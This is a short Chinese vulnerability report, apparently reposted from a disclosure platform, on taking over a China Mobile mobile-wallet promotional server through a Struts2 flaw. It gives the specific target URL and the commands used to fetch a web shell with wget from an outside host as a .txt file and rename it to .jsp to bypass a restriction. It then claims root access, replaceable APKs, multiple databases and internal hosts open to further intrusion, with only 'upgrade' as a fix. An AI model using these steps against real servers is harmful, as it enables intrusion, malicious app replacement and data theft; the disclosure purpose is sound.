中国移动手机钱包业务getshell(涉及多个库多个旁站，可致APK替换) – 网站安全 – 自学php网

struts2漏洞

地址：http://wxhd.shwxcs.cn/PhotoflyingCity/AppActivityNfc/index.action?urlcategory=1&appid=AP310000000000010634&areacode=310000&portaltype=0&columnid=&accesstype=1&ext=&version=3&usessionid=&ua=&resourceid=SV310000000333&backurl=

服务器有限制，wget无法直接下载shell，小技巧绕过

先下载txt格式然后vm命令改成jsp

wget -P 绝对路径 http://www.xxx.com/shell.txt

mv 绝对路径/shell.txt 绝对路径/shell.jsp

root权限
 

可替换apk应用
 

涉及多个数据库
 

多个业务备份
 

多个内网机器，可继续渗透
 

解决方案：

升级